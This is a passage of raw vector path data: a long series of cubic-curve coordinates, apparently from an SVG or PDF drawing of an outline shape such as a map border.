88976.34 111946.33 88987.00 111957.00C88997.67 111935.67 89008.33 111914.33 89019.00 111893.00C89040.33 111893.00 89061.67 111893.00 89083.00 111893.00C89094.00 111871.67 89105.00 111850.33 89116.00 111829.00C89116.00 111818.33 89116.00 111807.67 89116.00 111797.00C89148.00 111786.00 89180.00 111775.00 89212.00 111764.00C89212.00 111753.33 89212.00 111742.67 89212.00 111732.00C89222.67 111732.00 89233.33 111732.00 89244.00 111732.00C89244.00 111721.33 89244.00 111710.67 89244.00 111700.00C89265.33 111710.67 89286.67 111721.33 89308.00 111732.00C89308.00 111742.67 89308.00 111753.33 89308.00 111764.00C89297.34 111753.33 89286.66 111742.67 89276.00 111732.00C89276.00 111742.67 89276.00 111753.33 89276.00 111764.00C89297.66 111785.67 89319.34 111807.33 89341.00 111829.00C89341.00 111818.33 89341.00 111807.67 89341.00 111797.00C89362.33 111797.00 89383.67 111797.00 89405.00 111797.00C89405.00 111786.00 89405.00 111775.00 89405.00 111764.00C89415.66 111753.33 89426.34 111742.67 89437.00 111732.00C89447.67 111732.00 89458.33 111732.00 89469.00 111732.00C89479.66 111742.67 89490.34 111753.33 89501.00 111764.00C89512.00 111753.33 89523.00 111742.67 89534.00 111732.00C89544.67 111732.00 89555.33 111732.00 89566.00 111732.00C89576.67 111710.67 89587.33 111689.33 89598.00 111668.00C89587.34 111657.33 89576.66 111646.67 89566.00 111636.00C89566.00 111625.33 89566.00 111614.67 89566.00 111604.00C89598.00 111604.00 89630.00 111604.00 89662.00 111604.00C89651.33 111604.00 89640.67 111604.00 89630.00 111604.00C89640.67 111593.00 89651.33 111582.00 89662.00 111571.00C89683.67 111582.00 89705.33 111593.00 89727.00 111604.00C89716.00 111582.33 89705.00 111560.67 89694.00 111539.00C89694.00 111528.33 89694.00 111517.67 89694.00 111507.00C89705.00 111517.67 89716.00 111528.33 89727.00 111539.00C89727.00 111517.67 89727.00 111496.33 89727.00 111475.00C89748.33 111475.00 89769.67 111475.00 89791.00 111475.00C89801.66 111485.67 89812.34 111496.33 89823.00 111507.00C89844.33 111507.00 89865.67 111507.00 89887.00 111507.00C89887.00 111496.33 89887.00 111485.67 89887.00 111475.00C89908.66 111485.67 89930.34 111496.33 89952.00 111507.00C89941.00 111485.67 89930.00 111464.33 89919.00 111443.00C89930.00 111443.00 89941.00 111443.00 89952.00 111443.00C89962.66 111432.33 89973.34 111421.67 89984.00 111411.00C90005.33 111421.67 90026.67 111432.33 90048.00 111443.00C90048.00 111400.00 90048.00 111357.00 90048.00 111314.00C90058.66 111324.67 90069.34 111335.33 90080.00 111346.00C90090.66 111335.33 90101.34 111324.67 90112.00 111314.00C90122.66 111324.67 90133.34 111335.33 90144.00 111346.00C90165.66 111335.33 90187.34 111324.67 90209.00 111314.00C90219.67 111314.00 90230.33 111314.00 90241.00 111314.00C90251.66 111324.67 90262.34 111335.33 90273.00 111346.00C90273.00 111324.67 90273.00 111303.33 90273.00 111282.00C90283.67 111282.00 90294.33 111282.00 90305.00 111282.00C90315.66 111271.33 90326.34 111260.67 90337.00 111250.00C90347.67 111250.00 90358.33 111250.00 90369.00 111250.00C90380.00 111239.33 90391.00 111228.67 90402.00 111218.00C90412.66 111228.67 90423.34 111239.33 90434.00 111250.00C90466.00 111260.67 90498.00 111271.33 90530.00 111282.00C90551.66 111271.33 90573.34 111260.67 90595.00 111250.00C90616.33 111250.00 90637.67 111250.00 90659.00 111250.00C90669.67 111271.33 90680.33 111292.67 90691.00 111314.00C90701.67 111314.00 90712.33 111314.00 90723.00 111314.00C90712.33 111292.67 90701.67 111271.33 90691.00 111250.00C90701.67 111250.00 90712.33 111250.00 90723.00 111250.00C90744.67 111271.33 90766.33 111292.67 90788.00 111314.00C90809.33 111324.67 90830.67 111335.33 90852.00 111346.00C90873.33 111367.67 90894.67 111389.33 90916.00 111411.00C90894.67 111411.00 90873.33 111411.00 90852.00 111411.00C90852.00 111432.33 90852.00 111453.67 90852.00 111475.00C90862.66 111464.33 90873.34 111453.67 90884.00 111443.00C90884.00 111485.67 90884.00 111528.33 90884.00 111571.00C90894.66 111560.33 90905.34 111549.67 90916.00 111539.00C90916.00 111560.67 90916.00 111582.33 90916.00 111604.00C90926.67 111593.00 90937.33 111582.00 90948.00 111571.00C90958.67 111571.00 90969.33 111571.00 90980.00 111571.00C90980.00 111603.33 90980.00 111635.67 90980.00 111668.00C90991.00 111646.67 91002.00 111625.33 91013.00 111604.00C91023.66 111614.67 91034.34 111625.33 91045.00 111636.00C91087.67 111636.00 91130.33 111636.00 91173.00 111636.00C91162.34 111646.67 91151.66 111657.33 91141.00 111668.00C91162.33 111700.00 91183.67 111732.00 91205.00 111764.00C91226.66 111753.33 91248.34 111742.67 91270.00 111732.00C91270.00 111710.67 91270.00 111689.33 91270.00 111668.00C91291.33 111678.67 91312.67 111689.33 91334.00 111700.00C91377.00 111700.00 91420.00 111700.00 91463.00 111700.00C91452.34 111710.67 91441.66 111721.33 91431.00 111732.00C91420.00 111732.00 91409.00 111732.00 91398.00 111732.00C91398.00 111742.67 91398.00 111753.33 91398.00 111764.00C91419.66 111753.33 91441.34 111742.67 91463.00 111732.00C91452.34 111742.67 91441.66 111753.33 91431.00 111764.00C91441.67 111775.00 91452.33 111786.00 91463.00 111797.00C91484.33 111786.00 91505.67 111775.00 91527.00 111764.00C91516.34 111753.33 91505.66 111742.67 91495.00 111732.00C91505.66 111721.33 91516.34 111710.67 91527.00 111700.00C91548.34 111732.33 91569.66 111764.67 91591.00 111797.00C91602.00 111786.00 91613.00 111775.00 91624.00 111764.00C91634.67 111785.67 91645.33 111807.33 91656.00 111829.00C91666.66 111839.67 91677.34 111850.33 91688.00 111861.00C91698.66 111850.33 91709.34 111839.67 91720.00 111829.00C91730.67 111829.00 91741.33 111829.00 91752.00 111829.00C91741.34 111839.67 91730.66 111850.33 91720.00 111861.00C91730.66 111871.67 91741.34 111882.33 91752.00 111893.00C91762.66 111882.33 91773.34 111871.67 91784.00 111861.00C91816.33 111861.00 91848.67 111861.00 91881.00 111861.00C91870.33 111882.33 91859.67 111903.67 91849.00 111925.00C91881.00 111957.33 91913.00 111989.67 91945.00 112022.00C91945.00 112011.00 91945.00 112000.00 91945.00 111989.00C91955.66 111978.33 91966.34 111967.67 91977.00 111957.00C91987.67 111978.67 91998.33 112000.33 92009.00 112022.00C92019.67 112011.00 92030.33 112000.00 92041.00 111989.00C92052.00 111989.00 92063.00 111989.00 92074.00 111989.00C92084.67 112000.00 92095.33 112011.00 92106.00 112022.00C92116.67 112022.00 92127.33 112022.00 92138.00 112022.00C92148.66 112032.67 92159.34 112043.33 92170.00 112054.00C92180.67 112054.00 92191.33 112054.00 92202.00 112054.00C92212.67 112075.33 92223.33 112096.67 92234.00 112118.00C92255.67 112096.67 92277.33 112075.33 92299.00 112054.00C92309.67 112075.33 92320.33 112096.67 92331.00 112118.00C92352.34 112096.67 92373.66 112075.33 92395.00 112054.00C92405.67 112075.33 92416.33 112096.67 92427.00 112118.00C92438.00 112096.67 92449.00 112075.33 92460.00 112054.00C92470.67 112075.33 92481.33 112096.67 92492.00 112118.00C92513.34 112096.67 92534.66 112075.33 92556.00 112054.00C92556.00 112075.33 92556.00 112096.67 92556.00 112118.00C92577.33 112128.67 92598.67 112139.33 92620.00 112150.00C92620.00 112118.00 92620.00 112086.00 92620.00 112054.00C92630.67 112075.33 92641.33 112096.67 92652.00 112118.00C92684.39 112149.94 92716.94 112181.72 92749.00 112214.00C92749.00 112192.67 92749.00 112171.33 92749.00 112150.00C92781.13 112182.21 92813.55 112214.12 92845.00 112247.00C92866.67 112236.00 92888.33 112225.00 92910.00 112214.00C92899.00 112225.00 92888.00 112236.00 92877.00 112247.00C92888.00 112247.00 92899.00 112247.00 92910.00 112247.00C92899.00 112268.33 92888.00 112289.67 92877.00 112311.00C92888.00 112321.67 92899.00 112332.33 92910.00 112343.00C92899.00 112343.00 92888.00 112343.00 92877.00 112343.00C92888.00 112353.67 92899.00 112364.33 92910.00 112375.00C92899.00 112375.00 92888.00 112375.00 92877.00 112375.00C92877.00 112396.67 92877.00 112418.33 92877.00 112440.00C92888.00 112450.67 92899.00 112461.33 92910.00 112472.00C92910.00 112461.33 92910.00 112450.67 92910.00 112440.00C92920.67 112440.00 92931.33 112440.00 92942.00 112440.00C92942.00 112472.00 92942.00 112504.00 92942.00 112536.00C92952.67 112536.00 92963.33 112536.00 92974.00 112536.00C92984.66 112546.67 92995.34 112557.33 93006.00 112568.00C93006.00 112557.33 93006.00 112546.67 93006.00 112536.00C93027.34 112557.33 93048.66 112578.67 93070.00 112600.00C93059.33 112600.00 93048.67 112600.00 93038.00 112600.00C93059.66 112610.67 93081.34 112621.33 93103.00 112632.00C93103.00 112643.00 93103.00 112654.00 93103.00 112665.00C93113.66 112675.67 93124.34 112686.33 93135.00 112697.00C93156.33 112697.00 93177.67 112697.00 93199.00 112697.00C93199.00 112718.33 93199.00 112739.67 93199.00 112761.00C93220.33 112761.00 93241.67 112761.00 93263.00 112761.00C93263.00 112771.67 93263.00 112782.33 93263.00 112793.00C93274.00 112782.33 93285.00 112771.67 93296.00 112761.00C93296.00 112771.67 93296.00 112782.33 93296.00 112793.00C93306.66 112782.33 93317.34 112771.67 93328.00 112761.00C93338.67 112761.00 93349.33 112761.00 93360.00 112761.00C93370.66 112750.33 93381.34 112739.67 93392.00 112729.00C93424.00 112761.00 93456.00 112793.00 93488.00 112825.00C93488.00 112836.00 93488.00 112847.00 93488.00 112858.00C93499.00 112858.00 93510.00 112858.00 93521.00 112858.00C93521.00 112868.67 93521.00 112879.33 93521.00 112890.00C93563.67 112890.00 93606.33 112890.00 93649.00 112890.00C93659.66 112900.67 93670.34 112911.33 93681.00 112922.00C93702.66 112911.33 93724.34 112900.67 93746.00 112890.00C93767.33 112900.67 93788.67 112911.33 93810.00 112922.00C93810.00 112932.67 93810.00 112943.33 93810.00 112954.00C93820.67 112954.00 93831.33 112954.00 93842.00 112954.00C93852.66 112943.33 93863.34 112932.67 93874.00 112922.00C93884.79 112932.69 93895.38 112943.59 93906.31 112954.15C93927.87 112964.77 93949.44 112975.38 93971.00 112986.00C93981.67 112986.00 93992.33 112986.00 94003.00 112986.00C94003.00 113018.33 94003.00 113050.67 94003.00 113083.00C94024.33 113083.00 94045.67 113083.00 94067.00 113083.00C94067.00 113072.00 94067.00 113061.00 94067.00 113050.00C94067.00 113061.00 94067.00 113072.00 94067.00 113083.00C94088.33 113093.67 94109.67 113104.33 94131.00 113115.00C94131.00 113104.33 94131.00 113093.67 94131.00 113083.00C94120.33 113083.00 94109.67 113083.00 94099.00 113083.00C94109.67 113072.00 94120.33 113061.00 94131.00 113050.00C94142.00 113061.00 94153.00 113072.00 94164.00 113083.00C94196.00 113072.00 94228.00 113061.00 94260.00 113050.00C94270.67 113050.00 94281.33 113050.00 94292.00 113050.00C94281.33 113061.00 94270.67 113072.00 94260.00 113083.00C94281.33 113093.67 94302.67 113104.33 94324.00 113115.00C94313.34 113125.67 94302.66 113136.33 94292.00 113147.00C94302.66 113136.33 94313.34 113125.67 94324.00 113115.00C94324.00 113125.67 94324.00 113136.33 94324.00 113147.00C94345.67 113147.00 94367.33 113147.00 94389.00 113147.00C94389.00 113136.33 94389.00 113125.67 94389.00 113115.00C94399.66 113125.67 94410.34 113136.33 94421.00 113147.00C94410.34 113157.67 94399.66 113168.33 94389.00 113179.00C94399.66 113189.67 94410.34 113200.33 94421.00 113211.00C94431.67 113211.00 94442.33 113211.00 94453.00 113211.00C94453.00 113221.67 94453.00 113232.33 94453.00 113243.00C94463.67 113243.00 94474.33 113243.00 94485.00 113243.00C94485.00 113264.67 94485.00 113286.33 94485.00 113308.00C94495.66 113297.33 94506.34 113286.67 94517.00 113276.00C94506.34 113286.67 94495.66 113297.33 94485.00 113308.00C94495.66 113318.67 94506.34 113329.33 94517.00 113340.00C94517.00 113329.33 94517.00 113318.67 94517.00 113308.00C94527.66 113318.67 94538.34 113329.33 94549.00 113340.00C94549.00 113329.33 94549.00 113318.67 94549.00 113308.00C94560.00 113308.00 94571.00 113308.00 94582.00 113308.00C94582.00 113318.67 94582.00 113329.33 94582.00 113340.00C94603.33 113350.67 94624.67 113361.33 94646.00 113372.00C94646.00 113382.67 94646.00 113393.33 94646.00 113404.00C94635.34 113393.33 94624.66 113382.67 94614.00 113372.00C94614.00 113382.67 94614.00 113393.33 94614.00 113404.00C94646.00 113404.00 94678.00 113404.00 94710.00 113404.00C94710.00 113414.67 94710.00 113425.33 94710.00 113436.00C94720.67 113436.00 94731.33 113436.00 94742.00 113436.00C94742.00 113446.67 94742.00 113457.33 94742.00 113468.00C94763.66 113457.33 94785.34 113446.67 94807.00 113436.00C94817.66 113446.67 94828.34 113457.33 94839.00 113468.00C94839.00 113479.00 94839.00 113490.00 94839.00 113501.00C94849.67 113501.00 94860.33 113501.00 94871.00 113501.00C94860.34 113511.67 94849.66 113522.33 94839.00 113533.00C94849.67 113533.00 94860.33 113533.00 94871.00 113533.00C94871.00 113522.33 94871.00 113511.67 94871.00 113501.00C94881.66 113511.67 94892.34 113522.33 94903.00 113533.00C94935.33 113533.00 94967.67 113533.00 95000.00 113533.00C95000.00 113543.67 95000.00 113554.33 95000.00 113565.00C95021.33 113575.67 95042.67 113586.33 95064.00 113597.00C95085.34 113575.67 95106.66 113554.33 95128.00 113533.00C95138.67 113511.33 95149.33 113489.67 95160.00 113468.00C95171.00 113479.00 95182.00 113490.00 95193.00 113501.00C95193.00 113490.00 95193.00 113479.00 95193.00 113468.00C95203.67 113479.00 95214.33 113490.00 95225.00 113501.00C95235.67 113490.00 95246.33 113479.00 95257.00 113468.00C95267.67 113479.00 95278.33 113490.00 95289.00 113501.00C95289.00 113490.00 95289.00 113479.00 95289.00 113468.00C95310.08 113489.91 95331.39 113511.60 95353.00 113533.00C95385.33 113533.00 95417.67 113533.00 95450.00 113533.00C95450.00 113522.33 95450.00 113511.67 95450.00 113501.00C95450.00 113511.67 95450.00 113522.33 95450.00 113533.00C95471.33 113533.00 95492.67 113533.00 95514.00 113533.00C95524.66 113522.33 95535.34 113511.67 95546.00 113501.00C95546.00 113511.67 95546.00 113522.33 95546.00 113533.00C95546.00 113522.33 95546.00 113511.67 95546.00 113501.00C95556.67 113501.00 95567.33 113501.00 95578.00 113501.00C95578.00 113490.00 95578.00 113479.00 95578.00 113468.00C95589.00 113479.00 95600.00 113490.00 95611.00 113501.00C95611.00 113490.00 95611.00 113479.00 95611.00 113468.00C95632.33 113479.00 95653.67 113490.00 95675.00 113501.00C95685.66 113511.67 95696.34 113522.33 95707.00 113533.00C95707.00 113522.33 95707.00 113511.67 95707.00 113501.00C95717.67 113479.33 95728.33 113457.67 95739.00 113436.00C95749.66 113446.67 95760.34 113457.33 95771.00 113468.00C95781.67 113446.67 95792.33 113425.33 95803.00 113404.00C95814.00 113414.67 95825.00 113425.33 95836.00 113436.00C95836.00 113425.33 95836.00 113414.67 95836.00 113404.00C95857.33 113404.00 95878.67 113404.00 95900.00 113404.00C95910.66 113393.33 95921.34 113382.67 95932.00 113372.00C95996.33 113372.00 96060.67 113372.00 96125.00 113372.00C96135.67 113393.33 96146.33 113414.67 96157.00 113436.00C96178.33 113425.33 96199.67 113414.67 96221.00 113404.00C96253.33 113414.67 96285.67 113425.33 96318.00 113436.00C96339.33 113425.33 96360.67 113414.67 96382.00 113404.00C96393.01 113403.77 96404.14 113404.46 96415.08 113403.64C96447.05 113393.09 96479.03 113382.55 96511.00 113372.00C96511.00 113350.67 96511.00 113329.33 96511.00 113308.00C96521.67 113308.00 96532.33 113308.00 96543.00 113308.00C96564.33 113286.33 96585.67 113264.67 96607.00 113243.00C96617.67 113243.00 96628.33 113243.00 96639.00 113243.00C96660.67 113221.67 96682.33 113200.33 96704.00 113179.00C96736.00 113179.00 96768.00 113179.00 96800.00 113179.00C96800.00 113168.33 96800.00 113157.67 96800.00 113147.00C96810.66 113136.33 96821.34 113125.67 96832.00 113115.00C96821.33 113115.00 96810.67 113115.00 96800.00 113115.00C96810.67 113093.33 96821.33 113071.67 96832.00 113050.00C96832.00 113039.33 96832.00 113028.67 96832.00 113018.00C96842.67 112996.67 96853.33 112975.33 96864.00 112954.00C96896.33 112943.33 96928.67 112932.67 96961.00 112922.00C96982.33 112922.00 97003.67 112922.00 97025.00 112922.00C97046.66 112911.33 97068.34 112900.67 97090.00 112890.00C97090.00 112868.33 97090.00 112846.67 97090.00 112825.00C97100.80 112836.02 97111.37 112847.26 97122.31 112858.15C97143.54 112868.77 97164.77 112879.38 97186.00 112890.00C97186.00 112879.33 97186.00 112868.67 97186.00 112858.00C97196.67 112858.00 97207.33 112858.00 97218.00 112858.00C97239.67 112847.00 97261.33 112836.00 97283.00 112825.00C97293.66 112814.33 97304.34 112803.67 97315.00 112793.00C97336.33 112803.67 97357.67 112814.33 97379.00 112825.00C97411.10 112814.27 97443.23 112803.65 97475.31 112792.85C97518.20 112771.56 97561.10 112750.28 97604.00 112729.00C97614.66 112718.33 97625.34 112707.67 97636.00 112697.00C97657.33 112707.67 97678.67 112718.33 97700.00 112729.00C97700.00 112739.67 97700.00 112750.33 97700.00 112761.00C97711.00 112750.33 97722.00 112739.67 97733.00 112729.00C97743.67 112750.33 97754.33 112771.67 97765.00 112793.00C97797.00 112771.67 97829.00 112750.33 97861.00 112729.00C97871.67 112729.00 97882.33 112729.00 97893.00 112729.00C97904.00 112739.67 97915.00 112750.33 97926.00 112761.00C97958.00 112761.00 97990.00 112761.00 98022.00 112761.00C98043.33 112771.67 98064.67 112782.33 98086.00 112793.00C98097.00 112793.00 98108.00 112793.00 98119.00 112793.00C98119.00 112803.67 98119.00 112814.33 98119.00 112825.00C98129.67 112825.00 98140.33 112825.00 98151.00 112825.00C98140.33 112846.67 98129.67 112868.33 98119.00 112890.00C98129.67 112890.00 98140.33 112890.00 98151.00 112890.00C98151.00 112900.67 98151.00 112911.33 98151.00 112922.00C98161.67 112943.33 98172.33 112964.67 98183.00 112986.00C98236.67 112996.67 98290.33 113007.33 98344.00 113018.00C98354.66 113028.67 98365.34 113039.33 98376.00 113050.00C98386.66 113039.33 98397.34 113028.67 98408.00 113018.00C98418.66 113028.67 98429.34 113039.33 98440.00 113050.00C98440.00 113061.00 98440.00 113072.00 98440.00 113083.00C98461.34 113104.33 98482.66 113125.67 98504.00 113147.00C98536.33 113157.67 98568.67 113168.33 98601.00 113179.00C98601.00 113200.33 98601.00 113221.67 98601.00 113243.00C98590.34 113232.33 98579.66 113221.67 98569.00 113211.00C98569.00 113232.67 98569.00 113254.33 98569.00 113276.00C98579.66 113286.67 98590.34 113297.33 98601.00 113308.00C98590.34 113318.67 98579.66 113329.33 98569.00 113340.00C98579.67 113340.00 98590.33 113340.00 98601.00 113340.00C98601.00 113350.67 98601.00 113361.33 98601.00 113372.00C98611.67 113372.00 98622.33 113372.00 98633.00 113372.00C98622.33 113404.00 98611.67 113436.00 98601.00 113468.00C98590.33 113479.00 98579.67 113490.00 98569.00 113501.00C98590.74 113512.01 98612.73 113522.58 98634.32 113533.88C98665.88 113554.92 98697.44 113575.96 98729.00 113597.00C98729.00 113586.33 98729.00 113575.67 98729.00 113565.00C98729.00 113575.67 98729.00 113586.33 98729.00 113597.00C98740.00 113597.00 98751.00 113597.00 98762.00 113597.00C98783.33 113607.67 98804.67 113618.33 98826.00 113629.00C98879.67 113629.00 98933.33 113629.00 98987.00 113629.00C98997.66 113618.33 99008.34 113607.67 99019.00 113597.00C99051.00 113597.00 99083.00 113597.00 99115.00 113597.00C99125.79 113586.31 99136.38 113575.41 99147.31 113564.85C99168.87 113554.23 99190.44 113543.62 99212.00 113533.00C99222.67 113511.33 99233.33 113489.67 99244.00 113468.00C99265.33 113468.00 99286.67 113468.00 99308.00 113468.00C99318.66 113457.33 99329.34 113446.67 99340.00 113436.00C99361.67 113436.00 99383.33 113436.00 99405.00 113436.00C99415.66 113425.33 99426.34 113414.67 99437.00 113404.00C99447.67 113404.00 99458.33 113404.00 99469.00 113404.00C99479.79 113393.31 99490.39 113382.41 99501.31 113371.85C99522.54 113361.23 99543.77 113350.62 99565.00 113340.00C99575.66 113350.67 99586.34 113361.33 99597.00 113372.00C99618.67 113372.00 99640.33 113372.00 99662.00 113372.00C99672.66 113382.67 99683.34 113393.33 99694.00 113404.00C99704.66 113393.33 99715.34 113382.67 99726.00 113372.00C99736.67 113393.33 99747.33 113414.67 99758.00 113436.00C99779.66 113425.33 99801.34 113414.67 99823.00 113404.00C99833.66 113414.67 99844.34 113425.33 99855.00 113436.00C99855.00 113425.33 99855.00 113414.67 99855.00 113404.00C99855.00 113414.67 99855.00 113425.33 99855.00 113436.00C99865.66 113425.33 99876.34 113414.67 99887.00 113404.00C99908.33 113404.00 99929.67 113404.00 99951.00 113404.00C99972.66 113414.67 99994.34 113425.33 100016.00 113436.00C100026.67 113425.33 100037.33 113414.67 100048.00 113404.00C100037.33 113393.33 100026.67 113382.67 100016.00 113372.00C100026.67 113350.67 100037.33 113329.33 100048.00 113308.00C100048.00 113297.33 100048.00 113286.67 100048.00 113276.00C100080.00 113243.67 100112.00 113211.33 100144.00 113179.00C100144.00 113147.00 100144.00 113115.00 100144.00 113083.00C100154.67 113061.33 100165.33 113039.67 100176.00 113018.00C100176.00 113007.33 100176.00 112996.67 100176.00 112986.00C100165.33 112986.00 100154.67 112986.00 100144.00 112986.00C100144.00 112943.33 100144.00 112900.67 100144.00 112858.00C100154.67 112868.67 100165.33 112879.33 100176.00 112890.00C100176.00 112879.33 100176.00 112868.67 100176.00 112858.00C100186.67 112858.00 100197.33 112858.00 100208.00 112858.00C100229.86 112815.10 100251.56 112772.11 100273.00 112729.00C100315.67 112718.33 100358.33 112707.67 100401.00 112697.00C100411.67 112697.00 100422.33 112697.00 100433.00 112697.00C100444.00 112707.67 100455.00 112718.33 100466.00 112729.00C100476.67 112718.33 100487.33 112707.67 100498.00 112697.00C100508.67 112697.00 100519.33 112697.00 100530.00 112697.00C100530.00 112686.33 100530.00 112675.67 100530.00 112665.00C100562.00 112654.00 100594.00 112643.00 100626.00 112632.00C100670.81 112588.98 100714.19 112544.52 100758.26 112500.74C100821.50 112437.50 100884.75 112374.25 100948.00 112311.00C100958.67 112289.67 100969.33 112268.33 100980.00 112247.00C100990.67 112236.00 101001.33 112225.00 101012.00 112214.00C101076.33 112192.67 101140.67 112171.33 101205.00 112150.00C101194.33 112118.00 101183.67 112086.00 101173.00 112054.00C101183.67 112021.67 101194.33 111989.33 101205.00 111957.00C101215.67 111946.33 101226.33 111935.67 101237.00 111925.00C101247.67 111893.00 101258.33 111861.00 101269.00 111829.00C101290.67 111818.33 101312.33 111807.67 101334.00 111797.00C101366.00 111797.00 101398.00 111797.00 101430.00 111797.00C101451.76 111764.60 101473.38 111732.10 101495.24 111699.76C101505.83 111689.17 101516.41 111678.59 101527.00 111668.00C101527.00 111646.67 101527.00 111625.33 101527.00 111604.00C101548.33 111604.00 101569.67 111604.00 101591.00 111604.00C101612.33 111582.33 101633.67 111560.67 101655.00 111539.00C101698.00 111528.33 101741.00 111517.67 101784.00 111507.00C101805.33 111517.67 101826.67 111528.33 101848.00 111539.00C101848.00 111560.67 101848.00 111582.33 101848.00 111604.00C101869.67 111614.67 101891.33 111625.33 101913.00 111636.00C101880.67 112300.33 101848.33 112964.67 101816.00 113629.00C101805.33 113629.00 101794.67 113629.00 101784.00 113629.00C101762.67 113639.67 101741.33 113650.33 101720.00 113661.00C101698.33 113650.33 101676.67 113639.67 101655.00 113629.00C101633.67 113650.67 101612.33 113672.33 101591.00 113694.00C101505.33 113694.00 101419.67 113694.00 101334.00 113694.00C101323.33 113704.67 101312.67 113715.33 101302.00 113726.00C101247.82 113747.64 101193.48 113768.92 101139.40 113790.80C101118.60 113801.20 101097.80 113811.60 101077.00 113822.00C101077.00 113854.33 101077.00 113886.67 101077.00 113919.00C101065.88 113929.69 101054.94 113940.59 101043.69 113951.15C101022.46 113961.77 101001.23 113972.38 100980.00 113983.00C100980.00 113993.67 100980.00 114004.33 100980.00 114015.00C100969.31 114025.79 100958.41 114036.38 100947.85 114047.31C100926.56 114090.20 100905.28 114133.10 100884.00 114176.00C100884.00 114186.67 100884.00 114197.33 100884.00 114208.00C100862.53 114250.97 100841.09 114293.96 100819.07 114336.64C100808.33 114350.68 100797.01 114364.31 100786.05 114378.19C100754.37 114417.79 100722.68 114457.40 100691.00 114497.00C100691.00 114518.67 100691.00 114540.33 100691.00 114562.00C100680.31 114572.79 100669.41 114583.39 100658.84 114594.31C100647.89 114615.54 100636.95 114636.77 100626.00 114658.00C100626.00 114679.33 100626.00 114700.67 100626.00 114722.00C100637.00 114743.67 100648.00 114765.33 100659.00 114787.00C100648.00 114797.67 100637.00 114808.33 100626.00 114819.00C100637.00 114819.00 100648.00 114819.00 100659.00 114819.00C100648.00 114840.33 100637.00 114861.67 100626.00 114883.00C100637.00 114893.67 100648.00 114904.33 100659.00 114915.00C100659.00 114904.33 100659.00 114893.67 100659.00 114883.00C100669.67 114883.00 100680.33 114883.00 100691.00 114883.00C100701.67 114872.33 100712.33 114861.67 100723.00 114851.00C100733.67 114861.67 100744.33 114872.33 100755.00 114883.00C100787.33 114883.00 100819.67 114883.00 100852.00 114883.00C100852.00 114872.33 100852.00 114861.67 100852.00 114851.00C100884.00 114851.00 100916.00 114851.00 100948.00 114851.00C100958.67 114872.33 100969.33 114893.67 100980.00 114915.00C100990.67 114915.00 101001.33 114915.00 101012.00 114915.00C101001.33 114904.33 100990.67 114893.67 100980.00 114883.00C100990.67 114883.00 101001.33 114883.00 101012.00 114883.00C101012.00 114904.33 101012.00 114925.67 101012.00 114947.00C101033.67 114936.33 101055.33 114925.67 101077.00 114915.00C101087.67 114925.67 101098.33 114936.33 101109.00 114947.00C101109.00 114958.00 101109.00 114969.00 101109.00 114980.00C101119.67 114969.00 101130.33 114958.00 101141.00 114947.00C101141.00 114958.00 101141.00 114969.00 101141.00 114980.00C101151.67 114980.00 101162.33 114980.00 101173.00 114980.00C101173.00 114990.67 101173.00 115001.33 101173.00 115012.00C101183.67 115012.00 101194.33 115012.00 101205.00 115012.00C101215.67 115022.67 101226.33 115033.33 101237.00 115044.00C101237.00 115065.33 101237.00 115086.67 101237.00 115108.00C101247.67 115097.33 101258.33 115086.67 101269.00 115076.00C101280.00 115076.00 101291.00 115076.00 101302.00 115076.00C101302.00 115097.33 101302.00 115118.67 101302.00 115140.00C101312.67 115140.00 101323.33 115140.00 101334.00 115140.00C101334.00 115151.00 101334.00 115162.00 101334.00 115173.00C101355.33 115173.00 101376.67 115173.00 101398.00 115173.00C101387.33 115183.67 101376.67 115194.33 101366.00 115205.00C101376.67 115205.00 101387.33 115205.00 101398.00 115205.00C101398.00 115215.67 101398.00 115226.33 101398.00 115237.00C101419.33 115258.33 101440.67 115279.67 101462.00 115301.00C101515.67 115290.33 101569.33 115279.67 101623.00 115269.00C101633.67 115269.00 101644.33 115269.00 101655.00 115269.00C101666.00 115279.67 101677.00 115290.33 101688.00 115301.00C101698.67 115290.33 101709.33 115279.67 101720.00 115269.00C101730.67 115269.00 101741.33 115269.00 101752.00 115269.00C101752.00 115279.67 101752.00 115290.33 101752.00 115301.00C101773.33 115301.00 101794.67 115301.00 101816.00 115301.00C101826.67 115322.67 101837.33 115344.33 101848.00 115366.00C101858.67 115344.33 101869.33 115322.67 101880.00 115301.00C101901.66 115280.21 101923.00 115259.09 101944.23 115237.87C101950.16 115233.79 101957.11 115231.25 101963.44 115227.78C101978.63 115220.19 101993.81 115212.59 102009.00 115205.00C102009.00 115194.33 102009.00 115183.67 102009.00 115173.00C102052.00 115173.00 102095.00 115173.00 102138.00 115173.00C102148.67 115183.67 102159.33 115194.33 102170.00 115205.00C102170.00 115194.33 102170.00 115183.67 102170.00 115173.00C102191.33 115173.00 102212.67 115173.00 102234.00 115173.00C102234.00 115183.67 102234.00 115194.33 102234.00 115205.00C102244.67 115226.33 102255.33 115247.67 102266.00 115269.00C102298.33 115279.67 102330.67 115290.33 102363.00 115301.00C102363.00 115311.67 102363.00 115322.33 102363.00 115333.00C102384.33 115333.00 102405.67 115333.00 102427.00 115333.00C102437.67 115322.33 102448.33 115311.67 102459.00 115301.00C102469.67 115301.00 102480.33 115301.00 102491.00 115301.00C102491.00 115322.67 102491.00 115344.33 102491.00 115366.00C102512.67 115366.00 102534.33 115366.00 102556.00 115366.00C102577.33 115376.67 102598.67 115387.33 102620.00 115398.00C102641.33 115398.00 102662.67 115398.00 102684.00 115398.00C102694.67 115408.67 102705.33 115419.33 102716.00 115430.00C102727.00 115430.00 102738.00 115430.00 102749.00 115430.00C102759.79 115440.69 102770.39 115451.59 102781.31 115462.15C102802.54 115472.77 102823.77 115483.38 102845.00 115494.00C102855.67 115483.33 102866.33 115472.67 102877.00 115462.00C102887.67 115462.00 102898.33 115462.00 102909.00 115462.00C102919.67 115440.67 102930.33 115419.33 102941.00 115398.00C102952.00 115387.33 102963.00 115376.67 102974.00 115366.00C102974.00 115333.67 102974.00 115301.33 102974.00 115269.00C102984.67 115269.00 102995.33 115269.00 103006.00 115269.00C103006.00 115258.33 103006.00 115247.67 103006.00 115237.00C103016.67 115247.67 103027.33 115258.33 103038.00 115269.00C103038.00 115258.33 103038.00 115247.67 103038.00 115237.00C103048.67 115226.33 103059.33 115215.67 103070.00 115205.00C103070.00 115215.67 103070.00 115226.33 103070.00 115237.00C103080.67 115226.33 103091.33 115215.67 103102.00 115205.00C103102.00 115215.67 103102.00 115226.33 103102.00 115237.00C103112.67 115237.00 103123.33 115237.00 103134.00 115237.00C103134.00 115226.33 103134.00 115215.67 103134.00 115205.00C103145.00 115226.33 103156.00 115247.67 103167.00 115269.00C103177.67 115258.33 